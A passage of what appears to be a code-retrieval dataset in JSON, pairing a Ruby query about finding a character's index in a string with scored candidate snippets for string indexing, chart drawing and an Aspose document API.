"text": "def index\n @group_areas = GroupArea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_areas }\n end\n end",
"title": ""
},
{
"docid": "2406a3ef013f0fd1893138149e58d3ad",
"score": "0.38908947",
"text": "def format\n @format ||= properties.format.new self\n end",
"title": ""
},
{
"docid": "1504ca65c3764f6033ae152023d6e485",
"score": "0.38882864",
"text": "def get_area_code(dial_book, key)\n\t\treturn dial_book[key]\n\t\tend",
"title": ""
},
{
"docid": "56b6306a25f7e82909204b23dd46b443",
"score": "0.388564",
"text": "def getchart()\n # 4 data points to represent the cash flow for the Q1 - Q4\n data = [230, -140, 220, 330]\n\n # We want to plot a waterfall chart showing the 4 quarters as well as the total\n labels = [\"1st Quarter\", \"2nd Quarter\", \"3rd Quarter\", \"4th Quarter\", \"Total\"]\n\n # The top side of the bars in a waterfall chart is the accumulated data. We use\n # the ChartDirector ArrayMath utility to accumulate the data. The \"total\" is\n # handled by inserting a zero point at the end before accumulation (after\n # accumulation it will become the total).\n boxTop = ChartDirector::ArrayMath.new(data).insert2(0, 1, data.length).acc(\n ).result()\n\n # The botom side of the bars is just the top side of the previous bar. So we\n # shifted the top side data to obtain the bottom side data.\n boxBottom = ChartDirector::ArrayMath.new(boxTop).shift(1, 0).result()\n\n # The last point (total) is different. Its bottom side is always 0.\n boxBottom[boxBottom.length - 1] = 0\n\n # In this example, we want to use different colors depending on the data is\n # positive or negative.\n posColor = 0x00ff00\n negColor = 0xff0000\n\n # Create a XYChart object of size 500 x 280 pixels. Set background color to light\n # blue (ccccff), with 1 pixel 3D border effect.\n c = ChartDirector::XYChart.new(500, 300, 0xccccff, 0x000000, 1)\n\n # Add a title to the chart using 13 points Arial Bold Itatic font, with white\n # (ffffff) text on a deep blue (0x80) background\n c.addTitle(\"Corporate Cash Flow - Year 2004\", \"arialbi.ttf\", 13, 0xffffff\n ).setBackground(0x000080)\n\n # Set the plotarea at (55, 50) and of size 430 x 215 pixels. Use alternative\n # white/grey background.\n c.setPlotArea(55, 50, 430, 215, 0xffffff, 0xeeeeee)\n\n # Add a legend box at (55, 25) using 8 pts Arial Bold font with horizontal layout,\n # with transparent background and border color.\n b = c.addLegend(55, 25, false, \"arialbd.ttf\", 8)\n b.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Add keys to show the colors for positive and negative cash flows\n b.addKey(\"Positive Cash Flow\", posColor)\n b.addKey(\"Negative Cash Flow\", negColor)\n\n # Set the labels on the x axis using Arial Bold font\n c.xAxis().setLabels(labels).setFontStyle(\"arialbd.ttf\")\n\n # Set the x-axis ticks and grid lines to be between the bars\n c.xAxis().setTickOffset(0.5)\n\n # Use Arial Bold as the y axis label font\n c.yAxis().setLabelStyle(\"arialbd.ttf\")\n\n # Add a title to the y axis\n c.yAxis().setTitle(\"USD (in millions)\")\n\n # Add a box-whisker layer to represent the waterfall bars\n layer = c.addBoxWhiskerLayer(boxTop, boxBottom)\n\n # Color the bars depending on whether it is positive or negative\n 0.upto(boxTop.length - 1) do |i|\n if boxTop[i] >= boxBottom[i]\n layer.setBoxColor(i, posColor)\n else\n layer.setBoxColor(i, negColor)\n end\n end\n\n # Put data labels on the bars to show the cash flow using Arial Bold font\n layer.setDataLabelFormat(\"{={top}-{bottom}}M\")\n layer.setDataLabelStyle(\"arialbd.ttf\").setAlignment(ChartDirector::Center)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end",
"title": ""
},
{
"docid": "757afc26d8ab001587d23b5c39cbe590",
"score": "0.38823968",
"text": "def bar\n step = @options[:step].to_f\n height = @options[:height].to_f\n width = ((@norm_data.size - 1) * step).to_f\n background_color = @options[:background_color]\n\n create_canvas(@norm_data.length * step + 2, height, background_color)\n\n upper = @options[:upper].to_f\n below_color = @options[:below_color]\n above_color = @options[:above_color]\n\n target = @options.has_key?(:target) ? @options[:target].to_f : nil\n target_color = @options[:target_color] || 'white'\n\n i = 1\n # raise @norm_data.to_yaml\n max_normalized = normalize(@maximum_value)\n @norm_data.each_with_index do |r, index|\n color = ((@data[index] || @minimum_value) >= upper) ? above_color : below_color\n @draw.stroke('transparent')\n @draw.fill(color)\n bar_height_from_top = @canvas.rows - ( (r.to_f / max_normalized.to_f) * @canvas.rows)\n @draw.rectangle( i, @canvas.rows, i + step - 2, bar_height_from_top )\n i += step\n end\n\n unless target.nil?\n adjusted_target_value = (height - 3 - normalize(target)/(101.0/(height-4))).to_i\n @draw.stroke(target_color)\n open_ended_polyline([[-5, adjusted_target_value], [width + 5, adjusted_target_value]])\n end\n\n @draw.draw(@canvas)\n @canvas\n end",
"title": ""
},
{
"docid": "f2f51af2e193ba9c2e053896b798a16b",
"score": "0.3881384",
"text": "def get_image_data index, render_format\n\n begin\n\n if index == ''\n raise 'Index not specified.'\n end\n\n if render_format == ''\n raise 'Render Format not specified.'\n end\n\n str_uri = $product_uri + '/words/' + @filename + '/drawingObjects/' + index.to_s + '/imagedata'\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n\n if valid_output == ''\n\n output_path = $out_put_location + Aspose::Cloud::Common::Utils.get_filename(@filename) + '_' + index.to_s + '.' + render_format\n Aspose::Cloud::Common::Utils.save_file(response_stream, output_path)\n return output_path\n else\n return valid_output\n end\n\n rescue Exception => e\n print e\n end\n\n end",
"title": ""
}
] |
3d4e2e69fadf37ef302d581ff855b33f | str Your string with desierd continent. char Character you want to know position of Examples index_of_char("hej hopp", "o") => 5 Returns position of character. | [
{
"docid": "c54133817a517954b58020b3b4022f61",
"score": "0.80079854",
"text": "def index_of_char(str, char)\n output = 0\n i = 0\n while i < str.length\n if str[i] == char\n output = i\n return output\n end\n i += 1\n end\n return nil\nend",
"title": ""
}
] | [
{
"docid": "e138da79fe65e6b22b3309b7162192cf",
"score": "0.8539313",
"text": "def index_of_char(str, char)\n\ti = 0\n\twhile i < str.length - 1\n\t\tif char == str[i]\n\t\t\treturn i\n\t\tend\n\t\ti += 1\n\tend\n\treturn nil\nend",
"title": ""
},
{
"docid": "ba6fda468b68c038bb06fd5903b4a15b",
"score": "0.8124515",
"text": "def index_of_char(str, char)\n i = 0\n while i < str.length\n if str[i] == char\n return i\n end\n i += 1\n end\n return nil\nend",
"title": ""
},
{
"docid": "2eae10f7444316c6625afc48c9f65441",
"score": "0.7972564",
"text": "def index_of_char(str, char)\n return false if str.length == 0\n i = 0\n while i < str.length\n if str[i] == char\n return i\n end\n i += 1\n end\n return nil\nend",
"title": ""
},
{
"docid": "5422fbefd6aa9a8b6b0867d24d9c2790",
"score": "0.77992177",
"text": "def index_of_char(string, char)\n i = 0\n while i < string.length\n if string[i] == char\n return i\n end\n i += 1\n end\n return nil\nend",
"title": ""
},
{
"docid": "a37a7a8ac6490548f60b0e74cd7a19ee",
"score": "0.7787611",
"text": "def index_of_char(string,char)\n if char.length > 1\n return \"Char can't be longer than one character\"\n end\n if contains_char(string,char) == false\n return nil\n end\n i = 0\n while i <= string.length-1\n if string[i] == char\n return i\n end\n i += 1\n end\nend",
"title": ""
},
{
"docid": "2876ee0fd1e57c4d84cbdfa0b3220422",
"score": "0.77439725",
"text": "def stringIndex\n return $str.index('o')\nend",
"title": ""
},
{
"docid": "573826d0efca03c9deb3f866f7b8b2ec",
"score": "0.7657364",
"text": "def index_of_chr(string,chr)\n i = 0\n while i < string.length\n if string[i] == chr\n return i\n end\n i += 1\n end\n return nil\nend",
"title": ""
},
{
"docid": "c835043a4df95fd4a7024a55e19e64db",
"score": "0.7531834",
"text": "def find_char_in_string(string, char)\n index = 0\n indexes = []\n while index\n index = string.index(char, index)\n if index\n indexes << index\n index += 1\n end\n end\n indexes\n end",
"title": ""
},
{
"docid": "4e8fe357cc9d4b4b69ca6f1ca421f0f4",
"score": "0.73068583",
"text": "def next_char_in_string(char,string)\n target_index = string.index(char).next\n return string[target_index]\nend",
"title": ""
},
{
"docid": "10135c44b86bcf3d92a15cff9dc3a725",
"score": "0.7148479",
"text": "def custom_index(str, sstr)\n return nil unless str.include?(sstr)\n length = sstr.length\n str.chars.each_with_index do |char,index|\n sequence = str[index, length]\n return index if sequence == sstr\n end\nend",
"title": ""
},
{
"docid": "1620f4ea8aa5f493dac7243cd47decc3",
"score": "0.7087489",
"text": "def char_indices(str)\n indices = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index { |char, i| indices[char] << i }\n indices\nend",
"title": ""
},
{
"docid": "ec2d379a34c69f7692c096e755258e6f",
"score": "0.7078158",
"text": "def char_indices(str)\n indices = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index { |char, idx| indices[char] << idx }\n indices\nend",
"title": ""
},
{
"docid": "15fe7f08946d5cc20eb0b749cb7d916a",
"score": "0.70385396",
"text": "def position(character)\n alphabet.index(character)\n end",
"title": ""
},
{
"docid": "bd962f7a8ed56d6e5d2c9685544a9401",
"score": "0.70213664",
"text": "def char_indices(str)\n char_idx_hash = Hash.new { |hash, key| hash[key] = [] }\n str.chars.each_with_index { |char, idx| char_idx_hash[char] << idx }\n char_idx_hash\nend",
"title": ""
},
{
"docid": "d0f1aedcf73cb52dd2a1ac7155fa6424",
"score": "0.7021172",
"text": "def char_indices(str)\n char_index = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index do |char, i|\n char_index[char] << i\n end\n char_index\nend",
"title": ""
},
{
"docid": "701d91f39ad83f29f19cd0d86963c07c",
"score": "0.70161057",
"text": "def char_indices(str)\n indices = Hash.new {|hash, k| hash[k] = []}\n\n str.each_char.with_index {|char, idx| indices[char] << idx}\n indices\nend",
"title": ""
},
{
"docid": "f8192292a924277acf91ca6208ce97f4",
"score": "0.7009487",
"text": "def get_index(str)\n return unless str\n\n match = str.match(/\\[([0-9]+)\\]$/)\n\n return unless match\n\n match[1]\n end",
"title": ""
},
{
"docid": "faa1183a19b95312b7dde00d13794fd6",
"score": "0.69894415",
"text": "def char_indices(str)\n str.each_char.with_index.with_object({}) { |(char,idx),hash| (hash[char] ||= []) << idx }\nend",
"title": ""
},
{
"docid": "fbf7733de4ad619eac00ff08ad399e3d",
"score": "0.6982",
"text": "def last_index(str, char)\n last_index = -1\n str.split(\"\").each.with_index do |ch, idx| \n if ch == char\n last_index = idx\n end\n end\n return last_index\nend",
"title": ""
},
{
"docid": "82d67bb39d37e7a7b50c9b79f17bc301",
"score": "0.69728947",
"text": "def find_char(word,nth_char)\n\tword[nth_char]\nend",
"title": ""
},
{
"docid": "ed6c1574e291a60ded0521562a6f9045",
"score": "0.6962541",
"text": "def char_indices(str)\n indices = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index { |char, idx| indices[char] << idx }\n indices\n end",
"title": ""
},
{
"docid": "a576eb7042c95b0d64b3d0fb4ab7e1b9",
"score": "0.695836",
"text": "def char_indices(str)\n indices = Hash.new() { |h,k| h[k] = [] }\n str.split(\"\").each_with_index do |char, idx|\n indices[char] << idx\n end\n indices \nend",
"title": ""
},
{
"docid": "0a6d6d16a21cde25cbc10d6691f66ddc",
"score": "0.694798",
"text": "def char_indices(str)\n indices = Hash.new { |hash, k| hash[k] = [] }\n\n str.each_char.with_index { |char, idx| indices[char] << idx }\n\n return indices\nend",
"title": ""
},
{
"docid": "a2f66de57f9725ae2dfb9b0dcf458f42",
"score": "0.69304496",
"text": "def char_indices(str)\n indices = Hash.new { |h, k| h[k] = Array.new }\n\n str.each_char.with_index do |char, i|\n indices[char] << i\n end\n\n indices\nend",
"title": ""
},
{
"docid": "a9d4fd0e5ffe2ffa28fb4ee7c7c2dfce",
"score": "0.69130117",
"text": "def get_character(full_string, index)\n full_string[index]\nend",
"title": ""
},
{
"docid": "380c028ac28db23f2599096682f1d7dc",
"score": "0.68967515",
"text": "def char_indices(str)\n hash = Hash.new { |h,k| h[k] = [] }\n str.each_char.with_index { |char, idx| hash[char] << idx }\n hash\nend",
"title": ""
},
{
"docid": "1b4d9b04130b59b3fea6712e7fc447c8",
"score": "0.6893006",
"text": "def findFirstIndex(character, test_string)\n index = 0\n test_string.each_char do |c|\n break if c == character\n index += 1\n end \n\n index == test_string.length ? \"no match found\" : index\nend",
"title": ""
},
{
"docid": "1364b1251a01ba3e5e40e23d9ef1c566",
"score": "0.6866319",
"text": "def char_indices(str)\n char_hash = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index { |c, i| char_hash[c] << i }\n char_hash\nend",
"title": ""
},
{
"docid": "d53fa11b8a451ed23988b1a57b319854",
"score": "0.6864578",
"text": "def char_at_pos str, pos\n \"\"\nend",
"title": ""
},
{
"docid": "9946ab0b967034c3dbb52a8bbc38479f",
"score": "0.68468106",
"text": "def get_character(full_string, index)\n return full_string[index]\nend",
"title": ""
},
{
"docid": "320a0a96a60bca88620ce6f737185e27",
"score": "0.68410146",
"text": "def char_indices(str)\n hash = Hash.new { |h,k| h[k] = [] }\n str.each_char.with_index { |char, i| hash[char] << i }\n hash\nend",
"title": ""
},
{
"docid": "54a32c33b0b353c3a9b03a5e90e6e905",
"score": "0.68371415",
"text": "def char_indices(str)\n my_hash = Hash.new { |k,v| k[v] = [] }\n\n str.split('').each_with_index { |char, idx| my_hash[char] << idx }\n\n my_hash\nend",
"title": ""
},
{
"docid": "91c360cee6f2dcd5270e35b556f713e6",
"score": "0.6815635",
"text": "def char_indices(str)\n h = Hash.new{|h, k| h[k] = []}\n str.each_char.each_with_index {|c, i| h[c] << i}\n h\nend",
"title": ""
},
{
"docid": "75c5eb84cdab3a909686bc73c1ccd2e0",
"score": "0.6815622",
"text": "def charecter_inString(string, char)\n i = 0\n while string[i] != char && string.length > i\n i += 1\n end\n if string.length == i\n return -1\n end\n return i\nend",
"title": ""
},
{
"docid": "eab4d61cfaa08b8203a31414c1cea382",
"score": "0.68109435",
"text": "def last_index(str, char)\n index = []\n str.each_char.with_index do |c, idx|\n if c == char \n index << idx\n end\n end\n index[-1]\nend",
"title": ""
},
{
"docid": "03da3f9a03103bae92496092fa6713e3",
"score": "0.68088233",
"text": "def char_indices(str)\n hash = Hash.new {|h, k| h[k] = [] }\n str.each_char.with_index {|char, idx| hash[char] << idx }\n hash\n\nend",
"title": ""
},
{
"docid": "df2aeda14e85aa002e7fcdc508e39e88",
"score": "0.68056554",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index do |char, i|\n hash[char] << i \n end \n hash \nend",
"title": ""
},
{
"docid": "3cdaa109b25b38b903e2a5abe86f1d3a",
"score": "0.67971355",
"text": "def char_indices(str)\n charhash = Hash.new { |h,k|h[k]=[]}\n str.each_char.with_index {|char,i| charhash[char] << i}\n charhash\nend",
"title": ""
},
{
"docid": "e5f5e2247da9e0a1d0466130fcf3897e",
"score": "0.6795373",
"text": "def char_indices(str)\n hash = Hash.new {|h,k| h[k] = []}\n str.each_char.with_index {|char, i| hash[char] << i}\n hash\nend",
"title": ""
},
{
"docid": "8998eb13fbb703236377c81298c056ae",
"score": "0.6788446",
"text": "def char(str)\n str.ord\n end",
"title": ""
},
{
"docid": "8998eb13fbb703236377c81298c056ae",
"score": "0.6788446",
"text": "def char(str)\n str.ord\n end",
"title": ""
},
{
"docid": "9e1755817bce4a60f25d4f35858a7a70",
"score": "0.67883337",
"text": "def last_index(str, char)\n results = []\n str.each_char.with_index do |ch, idx|\n if ch == char\n results << idx\n end\n end\n return results[-1]\nend",
"title": ""
},
{
"docid": "4a22770f31ef785033f3d3bc7160d087",
"score": "0.6779819",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index do |ele, idx|\n hash[ele] << idx\n end\n hash\nend",
"title": ""
},
{
"docid": "9ffa921c686f644e2c8f825fba0f0f6e",
"score": "0.677051",
"text": "def single_character(str, idx = 0)\n substr = str[idx]\n substr.class == Fixnum ? substr.chr : substr\n end",
"title": ""
},
{
"docid": "b7b9b05c77267c23ded45aee752ab393",
"score": "0.6763475",
"text": "def char_at_pos str, pos\n# str[pos-1] # this can return nil\n str[pos-1,1] # this can return \"\" or nil\nend",
"title": ""
},
{
"docid": "3396674539f0c9ded08d0a63cff6e761",
"score": "0.67621577",
"text": "def index_string(string, characters)\n i = 0\n size = characters.length\n while i < string.length - size + 1\n if string[i,size] == characters\n return i\n end\n i += 1\n end\n return false\nend",
"title": ""
},
{
"docid": "a1ccdb83fd0368d850dfbefdaad7b174",
"score": "0.676185",
"text": "def char_indices(str)\n\n my_hash = Hash.new { |hash,k| hash[k] = []}\n\n str.each_char.with_index do |char,idx|\n\n my_hash[char] << idx \n\n end\n\n my_hash\n\nend",
"title": ""
},
{
"docid": "06e548e1046beb53f63ed36ec396ed24",
"score": "0.675694",
"text": "def char_indices(str)\n hash = Hash.new {|h,k| h[k] = []}\n array = str.split(\"\")\n array.each_with_index do |char,ind|\n hash[char] << ind\n end\n hash\nend",
"title": ""
},
{
"docid": "2cd70a15bd4fcba4e43080a2087a843b",
"score": "0.6734397",
"text": "def assign_index(char)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n alphabet = alphabet.split(\"\")\n\n alphabet.each do |letter|\n if char == letter\n return alphabet.index(letter)\n end\n end\nend",
"title": ""
},
{
"docid": "1df82d6d6a75aa6ce39031e316c38c87",
"score": "0.6730372",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] } \n str.each_char.with_index do |char, i|\n hash[char] << i\n end\n hash\nend",
"title": ""
},
{
"docid": "fd8dbb7afed5413aa02835f545f2584d",
"score": "0.67268354",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index do |c, i|\n hash[c] << i\n end\n hash\nend",
"title": ""
},
{
"docid": "fd5d8e8d623e66e0f9f213aa431ab635",
"score": "0.6716362",
"text": "def custom_index(string, search_characters)\n return nil unless string.include?(search_characters)\n length = search_characters.length\n string.chars.each_with_index do |letter, i|\n seq = string[i, length]\n return index_found = i if seq == search_characters\n end # end of do\nend",
"title": ""
},
{
"docid": "de904be62c2330b8bddd6b0b3eecef82",
"score": "0.6712148",
"text": "def my_string_index(str, n)\n str.index(n)\nend",
"title": ""
},
{
"docid": "a105055c5df009b13834326a30e39f4e",
"score": "0.6708129",
"text": "def char_indices(str)\n hash = Hash.new{|hash,key| hash[key] = []}\n str.each_char.with_index {|c,i| hash[c] << i}\n hash\nend",
"title": ""
},
{
"docid": "26e4d5f80345be8695c557636f815be3",
"score": "0.67003244",
"text": "def char_indices(str)\r\n indices = Hash.new([])\r\n str.each_char.with_index do |c, i|\r\n if indices[c].empty?\r\n indices[c] = []\r\n end\r\n indices[c] << i\r\n end\r\n indices\r\nend",
"title": ""
},
{
"docid": "a1d7f347a6f6889c811efd00cd81e528",
"score": "0.66966337",
"text": "def char_indices(string)\n indices = Hash.new{|h,k| h[k] = [] }\n string.each_char.with_index {|char, i| indices[char] << i}\n return indices\nend",
"title": ""
},
{
"docid": "b61ca86e0ef8820bea527301a852cbef",
"score": "0.669357",
"text": "def index_of (sentence, letter)\n\tsentence.each do |l|\n\t\tif l==letter.char\n\t\t\tputs sentence.index(l)\n\t\t\n\t\telse \n\t\t\tputs \"-1\"\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "442a46e9d0c6fdef2de00d80d2f302c2",
"score": "0.6687249",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] }\n\n str.each_char.with_index do |char, i|\n hash[char] << i\n end\n \n hash\nend",
"title": ""
},
{
"docid": "92fea45c11c58339d233e37be0310ef0",
"score": "0.6674658",
"text": "def to_pos(str)\n r= str.downcase\n case r\n when \"a\"\n r = 0\n when \"b\"\n r = 1\n when \"c\"\n r = 2\n when \"d\"\n r = 3 \n when \"e\"\n r = 4\n when \"f\"\n r = 5\n when \"g\"\n r = 6\n when \"h\"\n r = 7\n end \n return r \n end",
"title": ""
},
{
"docid": "92fea45c11c58339d233e37be0310ef0",
"score": "0.6674658",
"text": "def to_pos(str)\n r= str.downcase\n case r\n when \"a\"\n r = 0\n when \"b\"\n r = 1\n when \"c\"\n r = 2\n when \"d\"\n r = 3 \n when \"e\"\n r = 4\n when \"f\"\n r = 5\n when \"g\"\n r = 6\n when \"h\"\n r = 7\n end \n return r \n end",
"title": ""
},
{
"docid": "809552d828c2a927422ac0caa93ec96d",
"score": "0.6670911",
"text": "def get_char_index\n return @input.index\n end",
"title": ""
},
{
"docid": "d4f4f9a16328ce17501790a3015ca784",
"score": "0.66509056",
"text": "def nextChar\n if (@pos < @str.size)\n c = @str[@pos].chr\n @pos += 1\n return c\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "224ee9082ee5e434b4ae873a276924c9",
"score": "0.66471714",
"text": "def char_indices(str)\n char_hash = Hash.new {|h, k| char_hash[k] = []}\n str.each_char.with_index {|c, i| char_hash[c] += [i]}\n char_hash\nend",
"title": ""
},
{
"docid": "0b4e6f5857ca1e5a00255de06286a6b3",
"score": "0.6644383",
"text": "def indexes_of_char(p_char)\n (0 ... self.length).find_all { |i| self[i,1] == p_char }\n end",
"title": ""
},
{
"docid": "15399440d36c945855216beceb7e13df",
"score": "0.6638716",
"text": "def char_indices(str)\n hash = Hash.new { |hash, key| hash[key] = [] }\n str.each_char.with_index do |char, i|\n hash[char] << i\n end\n hash\nend",
"title": ""
},
{
"docid": "080b2789de90731b982c31dfbd440f28",
"score": "0.66358274",
"text": "def indexes(s, char)\n (0 ... s.length).find_all { |i| s[i,1] == char }\nend",
"title": ""
},
{
"docid": "caa58fee5b7105bb9f194b49b562d6ff",
"score": "0.6631241",
"text": "def character_index(text)\n is_a! text, 'text', String\n\n return @character_index unless @character_index.nil?\n\n curr_row = 1\n curr_col = 1\n\n text.chars.each.with_index do |char, i|\n # Alter location\n if char == \"\\n\"\n curr_col = 1\n curr_row += 1\n else\n curr_col += 1\n end\n\n\n \n # Check for match\n return (@character_index = i) if curr_row == row && curr_col == column\n\n # Check if no longer possible to match\n raise 'no such location in given text' if curr_row > row || \\\n (curr_row == row && curr_col > column)\n end\n\n # Raise if not returned\n raise 'no such location in given text'\n end",
"title": ""
},
{
"docid": "d35ca9ebfb6eb6b73a2239c34260ef5a",
"score": "0.6622379",
"text": "def char_indices(string)\n indies = Hash.new{ |c, n| c[n] = []}\n string.each_char.each_with_index do |char, index|\n indies[char] << index\n end\n indies\nend",
"title": ""
},
{
"docid": "659c9b683bb89ba24c0805dc0e8b8811",
"score": "0.6614642",
"text": "def char_indices(str)\n new_hash = Hash.new { |h, k| h[k] = [] }\n str.each_char.with_index do |char, i|\n new_hash[char] << i\n end\n new_hash\nend",
"title": ""
},
{
"docid": "53125b61efdb163b6a99d61caf7ba1a7",
"score": "0.65958333",
"text": "def next_char\n c = (@pos < @str.length) ? @str[@pos].chr : nil\n @pos += 1\n return c\n end",
"title": ""
},
{
"docid": "e448b99bfb94c64a035d76754169ecc7",
"score": "0.6583145",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = [] }\n \n str.each_char.with_index do |char, i|\n hash[char] << i\n end\n\n return hash\nend",
"title": ""
},
{
"docid": "da91684c0a64fee3687aa0a6822f7901",
"score": "0.6557366",
"text": "def my_string_index(haystack,needle)\n haystack_array = haystack.split(\"\")\n haystack_array.each do |character, index|\n if character == needle \n return index \n else\n return -1 \n end\n end\n\n end",
"title": ""
},
{
"docid": "c742939e8acd4a3433bb88c28848152e",
"score": "0.65543485",
"text": "def char_indices(str)\n hash = Hash.new { |h, k| h[k] = Array.new}\n\n str.each_char.with_index { |char, i| hash[char] << i }\n\n hash\nend",
"title": ""
},
{
"docid": "4fbb45a946eb7fd7f5511f149af8fc8c",
"score": "0.6542685",
"text": "def character_at(text, index)\n return text[index]\nend",
"title": ""
},
{
"docid": "ef90da547b033a6470944eac35a0fd4b",
"score": "0.6529705",
"text": "def char_index(word, char)\n\treturn word.index(char) == nil ? nil : [word.index(char), word.rindex(char)]\nend",
"title": ""
},
{
"docid": "c1d260751c3ec09ca243a7a913899b2e",
"score": "0.65174353",
"text": "def custom_index(string, substring)\n #Return nil if subsring not found in substring\n #Return index position of substring if found in string\n return nil unless string.include?(substring)\n length = substring.length\n string.chars.each_with_index do |char, index|\n sequence = string[index, length]\n return index if sequence == substring\n end\nend",
"title": ""
},
{
"docid": "e42e53b3d5e22a423c3cbba36f8d4c2f",
"score": "0.6512199",
"text": "def char_indices(str)\r\n myHash = Hash.new {|h,k| h[k] = []}\r\n str.each_char.with_index do |char,idx|\r\n myHash[char] << idx\r\n end\r\n myHash\r\n\r\nend",
"title": ""
},
{
"docid": "ce37659355e956b81bc9f601d76cb9c5",
"score": "0.64941716",
"text": "def last_index(str, char)\n\n new = []\n str.each_char.with_index do |ele, idx|\n if ele == char\n new << idx \n end \n end \n return new.pop\n \nend",
"title": ""
},
{
"docid": "ec25c90320175edae3304ae17c126b04",
"score": "0.6493173",
"text": "def index_string(str, substr)\n i = 0\n while i < str.length\n if str[i] == substr[0]\n index = i\n match = true\n j = 0\n while j < substr.length\n if str[i + j] != substr[j]\n match = false\n end\n j+=1\n end\n\n if match == true\n return index\n end\n end\n i+=1\n end\nend",
"title": ""
},
{
"docid": "d2207f686872bd73ddbe8fab27706032",
"score": "0.64842135",
"text": "def find_position_of( letter, letters )\n \n count = 0\n while count < letters.length()\n if letter == letters[count]\n position = count\n end\n count += 1\n end\n\n return position\n\nend",
"title": ""
},
{
"docid": "3eebf37812b28c882dcde0789c8762ac",
"score": "0.64788866",
"text": "def custom_index(string, substring)\r\n string.index(substring)\r\nend",
"title": ""
},
{
"docid": "777c640b5565a668d39b4608157ac0b2",
"score": "0.64732164",
"text": "def last_index(str, char)\n\n final=[]\n str = str.split(\"\")\n str.map.with_index do |ele, idx|\n if ele == char \n final << idx\n end\n end \n return final[-1]\nend",
"title": ""
},
{
"docid": "066615253c6f352f56f295dbfc468bb1",
"score": "0.6465563",
"text": "def index_of_the_first_vowel(str)\n return str.index(/[aAeEiIoOuUyY]/)\nend",
"title": ""
},
{
"docid": "5c7dbc93485b62e4d2c0f354179269c3",
"score": "0.6460355",
"text": "def last_index(str, char)\n i = str.length - 1\n while i >= 0\n if str[i] == char\n return i\n end\n i -= 1\n end\nend",
"title": ""
},
{
"docid": "286c60f07390b7632c493f6a48c64574",
"score": "0.6460206",
"text": "def last_index(str, char)\n\n kontra_str = str.reverse\n \n index = kontra_str.index(char)\n \n print kontra_str.length-1 - index\nend",
"title": ""
},
{
"docid": "6b819a94fe12a70aef93ace324663b8b",
"score": "0.64537734",
"text": "def indexes_of_char(p_char)\n (0 ... self.length).find_all { |i| self[i,1] == p_char }\n end",
"title": ""
},
{
"docid": "7a246a8abe4b7f801123ae3f87e59f47",
"score": "0.6453636",
"text": "def last_index(str, char)\n\n new = []\n str.each_char.with_index do |ele, idx|\n if ele.include?(char)\n new << idx\n end \n end\n return new.pop\nend",
"title": ""
},
{
"docid": "3241d7b3df6bbeddc821d8567dc9d78b",
"score": "0.64443433",
"text": "def char_indices(str)\n newHash = Hash.new()\n\n str.chars.each_with_index do |char,idx|\n if newHash.has_key?(char)\n newHash[char] << idx\n else\n newHash[char] = [idx]\n end\n end\n newHash\nend",
"title": ""
},
{
"docid": "4bf2ae75f222be73ddb6029b185ee326",
"score": "0.64395654",
"text": "def char_indices(string)\n hash = Hash.new { |h, k| h[k] = [] }\n string.chars.each_with_index { |c, i| hash[c] << i }\n hash\nend",
"title": ""
},
{
"docid": "1618dcefb7377527620ec0136b1de0c7",
"score": "0.64277864",
"text": "def last_index(str, char)\n i = str.length - 1\n while i >= 0\n if str[i] == char\n return i\n end\n i -= 1\n end\nend",
"title": ""
},
{
"docid": "746ee802b3ddf6d5d6b4507076aabb49",
"score": "0.6422792",
"text": "def letter_position letter, alphabet\n #alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\".split('')\n alphabet.each_with_index do |l, position|\n if letter.upcase == l\n return position\n end \n end \n return -1 \nend",
"title": ""
},
{
"docid": "473fd9a114a415dbc6ccb03a6d43ebf8",
"score": "0.64213246",
"text": "def char\n @str[@index]\n end",
"title": ""
},
{
"docid": "61924bc6b33c67afbdf99c34023d9b5f",
"score": "0.6397024",
"text": "def input_to_index(str)\n buffer = str.to_i()\n index = buffer - 1\nend",
"title": ""
},
{
"docid": "9a05a4c85472c6cdc2b8ecfc3f986a09",
"score": "0.6386726",
"text": "def index_of_the_first_vowel(str)\n str.index(/[AaEeIiOoUu]/)\nend",
"title": ""
},
{
"docid": "bb4a390db16bff479028d2fbe5889363",
"score": "0.63637286",
"text": "def index(substr[, pos])\n end",
"title": ""
},
{
"docid": "63d51b1765727c031c22d01d144672ed",
"score": "0.6358397",
"text": "def nth_character(str, n)\n # This method should return the nth character - but NOTE, NOT the nth index. Be careful.\n\n nth_char = # Something goes here\n\n return nth_char\n\nend",
"title": ""
},
{
"docid": "b0d1540f74c6cfe91a5785e0dc1ba02d",
"score": "0.63551575",
"text": "def last_index(str, char)\n i = str.length - 1 \n while i >= 0\n if str[i] == char\n return i\n end \n i -= 1\n end\nend",
"title": ""
},
{
"docid": "78f18f12354ea8ceb1c428d670a49ecb",
"score": "0.63540393",
"text": "def custom_index(string, substring)\r\n string.each_char do |char|\r\n if substring.include?(char)\r\n end\r\n end\r\nend",
"title": ""
},
{
"docid": "6b715c20ec620908d0ff1e170b63292e",
"score": "0.63450956",
"text": "def custom_index(string, substring)\r\n return nil unless string.include?(substring)\r\n length = substring.length\r\n string.chars.each_with_index do |char, index|\r\n sequence = string[index, length]\r\n return index if sequence == substring\r\n end\r\nend",
"title": ""
},
{
"docid": "c51bf88881a023907083c540f5611fad",
